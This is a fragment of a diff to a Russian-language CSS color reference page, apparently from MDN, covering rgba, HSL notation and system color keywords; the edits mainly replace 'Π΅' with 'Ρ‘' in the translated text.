-rgba(51 170 51 / 40%) <span> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 40% */
+rgba(51 170 51 / 0.4) <span> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 40%*/ </span>
+rgba(51 170 51 / 40%) <span> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 40% */
</span>/* Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ floats */
rgba(255, 0, 153.6, 1)
@@ -1092,7 +1092,7 @@ rgba(1e2, .5e1, .5e0, +.25e2%)
<p>ЦвСтовая модСль HSL опрСдСляСт Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π² соотвСтствии с Π΅Π³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°, насыщСнности ΠΈ яркости. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΠ»ΡŒΡ„Π°-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ прСдставляСт ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚Π°.</p>
-<p>МногиС Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Ρ‹ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ HSL Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΌ, Ρ‡Π΅ΠΌ RGB, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ позволяСт нСзависимо Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ, Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΈ Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒ. HSL Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ созданиС Π½Π°Π±ΠΎΡ€Π° подходящих Ρ†Π²Π΅Ρ‚ΠΎΠ² (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ нСсколько ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°).</p>
+<p>МногиС Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Ρ‹ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ HSL Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΌ, Ρ‡Π΅ΠΌ RGB, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ позволяСт нСзависимо Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ, Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΈ Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒ. HSL Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ созданиС Π½Π°Π±ΠΎΡ€Π° подходящих Ρ†Π²Π΅Ρ‚ΠΎΠ² (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ нСсколько ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°).</p>
<h4 id="Бинтаксис_2">Бинтаксис</h4>
@@ -1104,14 +1104,14 @@ rgba(1e2, .5e1, .5e0, +.25e2%)
<dl>
<dt>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ нотация: <code>hsl(H, S, L[, A])</code>Β ΠΈΠ»ΠΈ<code>hsla(H, S, L, A)</code></dt>
- <dd><code>H</code> Β (hue) - это {{cssxref("&lt;ΡƒΠ³ΠΎΠ»&gt;")}} Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π² <code>deg</code>S, <code>rad</code>s, градусах ΠΈΠ»ΠΈ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π°Ρ… {{SpecName("CSS4 Colors","#The-HSL-notation")}}. ΠŸΡ€ΠΈ записи Π² Π²ΠΈΠ΄Π΅ unitless {{cssxref ("&lt;number&gt;")}} ΠΎΠ½ интСрпрСтируСтся ΠΊΠ°ΠΊ Градусы, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π² {{SpecName ("CSS3 Colors","#hsl-color")}}. По ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ, red=<code>0</code> deg=<code>360</code> Π³Ρ€Π°Π΄, с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ, распространСнными ΠΏΠΎ ΠΊΡ€ΡƒΠ³Ρƒ, поэтому green=120deg Π³Ρ€Π°Π΄,Β blue=240degΒ Π³Ρ€Π°Π΄ ΠΈ Ρ‚. Π΄. Π’ качСствС &lt; ΡƒΠ³Π»Π° &gt; ΠΎΠ½ нСявно обСртываСтся Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ -120deg=240deg, 480deg=120deg, -1turn=1turn, ΠΈ Ρ‚. Π΄.</dd>
- <dd><code>S</code> (<code>Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ</code>) ΠΈ <code>L</code> (<code>Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒ</code>) ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°ΠΌΠΈ. <code>100%</code> Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ насыщСна, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ 0% ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ нСнасыщСн (сСрый). <code>100%</code> Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒ Π±Π΅Π»Ρ‹ΠΉ, <code>0%</code> Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ, ΠΈ <code>50%</code> Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒ β€œ<code>Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ</code>.”</dd>
+ <dd><code>H</code> Β (hue) - это {{cssxref("&lt;ΡƒΠ³ΠΎΠ»&gt;")}} Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π² <code>deg</code>S, <code>rad</code>s, градусах ΠΈΠ»ΠΈ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π°Ρ… {{SpecName("CSS4 Colors","#The-HSL-notation")}}. ΠŸΡ€ΠΈ записи Π² Π²ΠΈΠ΄Π΅ unitless {{cssxref ("&lt;number&gt;")}} ΠΎΠ½ интСрпрСтируСтся ΠΊΠ°ΠΊ Градусы, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π² {{SpecName ("CSS3 Colors","#hsl-color")}}. По ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ, red=<code>0</code> deg=<code>360</code> Π³Ρ€Π°Π΄, с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ, распространёнными ΠΏΠΎ ΠΊΡ€ΡƒΠ³Ρƒ, поэтому green=120deg Π³Ρ€Π°Π΄,Β blue=240degΒ Π³Ρ€Π°Π΄ ΠΈ Ρ‚. Π΄. Π’ качСствС &lt; ΡƒΠ³Π»Π° &gt; ΠΎΠ½ нСявно обёртываСтся Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ -120deg=240deg, 480deg=120deg, -1turn=1turn, ΠΈ Ρ‚. Π΄.</dd>
+ <dd><code>S</code> (<code>Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ</code>) ΠΈ <code>L</code> (<code>Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒ</code>) ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°ΠΌΠΈ. <code>100%</code> Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ насыщСна, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ 0% ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ нСнасыщСн (сСрый). <code>100%</code> Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒ Π±Π΅Π»Ρ‹ΠΉ, <code>0%</code> Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ, ΠΈ <code>50%</code> Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒ β€œ<code>Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ</code>.”</dd>
<dd><code>A</code> (alpha) can be a {{cssxref("&lt;number&gt;")}} between <code>0</code> and <code>1</code>, or a {{cssxref("&lt;percentage&gt;")}}, where the number <code>1</code> corresponds to <code>100%</code> (full opacity).Β <code>A</code> (ΠΠ»ΡŒΡ„Π°) ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ {{cssxref("&lt;number&gt;")}} ΠΌΠ΅ΠΆΠ΄Ρƒ <code>0</code> ΠΈ <code>1</code> ΠΈΠ»ΠΈ {{cssxref("&lt;percentage&gt;")}}, Π³Π΄Π΅ число <code>1</code> соотвСтствуСт <code>100%</code> (полная Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ).</dd>
</dl>
<dl>
<dt>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ нотация: <code>hsl(H S L[Β A])</code> or <code>hsla(H S L A)</code></dt>
- <dd>CSS Colors Level 4 добавляСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ.</dd>
+ <dd>CSS Colors Level 4 добавляСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ.</dd>
</dl>
<h4 id="Examples">Examples</h4>
@@ -1212,7 +1212,7 @@ hsl(270 60% 50% / 15%)
</tbody>
</table>
-<h5 id="Π‘ΠΎΠ»Π΅Π΅_свСтлая_ΠΈ_Π±ΠΎΠ»Π΅Π΅_тСмная_зСлСнь">Π‘ΠΎΠ»Π΅Π΅ свСтлая ΠΈ Π±ΠΎΠ»Π΅Π΅ тСмная зСлСнь</h5>
+<h5 id="Π‘ΠΎΠ»Π΅Π΅_свСтлая_ΠΈ_Π±ΠΎΠ»Π΅Π΅_тёмная_зСлСнь">Π‘ΠΎΠ»Π΅Π΅ свСтлая ΠΈ Π±ΠΎΠ»Π΅Π΅ тёмная зСлСнь</h5>
<table class="standard-table">
<thead>
@@ -1328,17 +1328,17 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<dt>Background</dt>
<dd>Π€ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ стола.</dd>
<dt>ButtonFace</dt>
- <dd>Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° Π»ΠΈΡ†Π° для Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° ΠΎΠ΄Π½ΠΎΠ³ΠΎ слоя ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с тСкстом <code>ButtonText</code> Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° Π»ΠΈΡ†Π° для Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° ΠΎΠ΄Π½ΠΎΠ³ΠΎ слоя ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с тСкстом <code>ButtonText</code> Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
<dt>ButtonHighlight</dt>
- <dd>Π¦Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠΉ ΠΊ источнику свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° этого слоя ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΎΠ±Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠΉ ΠΊ источнику свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° этого слоя ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
<dt>ButtonShadow</dt>
- <dd>Π¦Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π²Π΄Π°Π»ΠΈ ΠΎΡ‚ источника свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° этого слоя ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Π¦Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ находится Π²Π΄Π°Π»ΠΈ ΠΎΡ‚ источника свСта для Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° этого слоя, ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π²Π΄Π°Π»ΠΈ ΠΎΡ‚ источника свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° этого слоя ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Π¦Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ находится Π²Π΄Π°Π»ΠΈ ΠΎΡ‚ источника свСта для Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° этого слоя, ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ.</dd>
<dt>ButtonText</dt>
<dd>Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с <code>ButtonFace</code> ΠΈΠ»ΠΈ <code>ThreeDFace</code> Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°.</dd>
<dt>CaptionText</dt>
<dd>ВСкст Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅, ΠΏΠΎΠ»Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈ ΠΏΠΎΠ»Π΅ со стрСлкой ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π° <code>ActiveCaption</code>.</dd>
<dt>GrayText</dt>
- <dd>Π‘Π΅Ρ€Ρ‹ΠΉ (ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½) тСкст.</dd>
+ <dd>Π‘Π΅Ρ€Ρ‹ΠΉ (ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½) тСкст.</dd>
<dt>Highlight</dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚(Ρ‹), Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Π² элСмСнтС управлСния. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с <code>HighlightText</code> тСкста Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
<dt>HighlightText</dt>
@@ -1360,15 +1360,15 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<dt>Scrollbar</dt>
<dd>Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° полос ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ.</dd>
<dt>ThreeDDarkShadow</dt>
- <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ Ρ‚Π΅ΠΌΠ½ΠΎΠΉ (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, внСшнСй) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ† ΠΎΡ‚ источника свСта для Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоСв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ‘ΠΌΠ½ΠΎΠΉ (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, внСшнСй) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ† ΠΎΡ‚ источника свСта для Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоёв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
<dt>ThreeDFace</dt>
- <dd>Should be used with the <code>ButtonText</code> foreground color.Β Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° Π»ΠΈΡ†Π° для Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоСв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с тСкстом ΠΊΠ½ΠΎΠΏΠΊΠΈ Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
+ <dd>Should be used with the <code>ButtonText</code> foreground color.Β Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° Π»ΠΈΡ†Π° для Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоёв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с тСкстом ΠΊΠ½ΠΎΠΏΠΊΠΈ Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
<dt>ThreeDHighlight</dt>
- <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ свСтлого (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ внСшнСго) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ†, ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹Ρ… ΠΊ источнику свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоСв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ свСтлого (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ внСшнСго) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ†, ΠΎΠ±Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Ρ… ΠΊ источнику свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоёв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
<dt>ThreeDLightShadow</dt>
- <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ Ρ‚Π΅ΠΌΠ½ΠΎΠΉ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ†, ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹Ρ… ΠΊ источнику свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоСв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
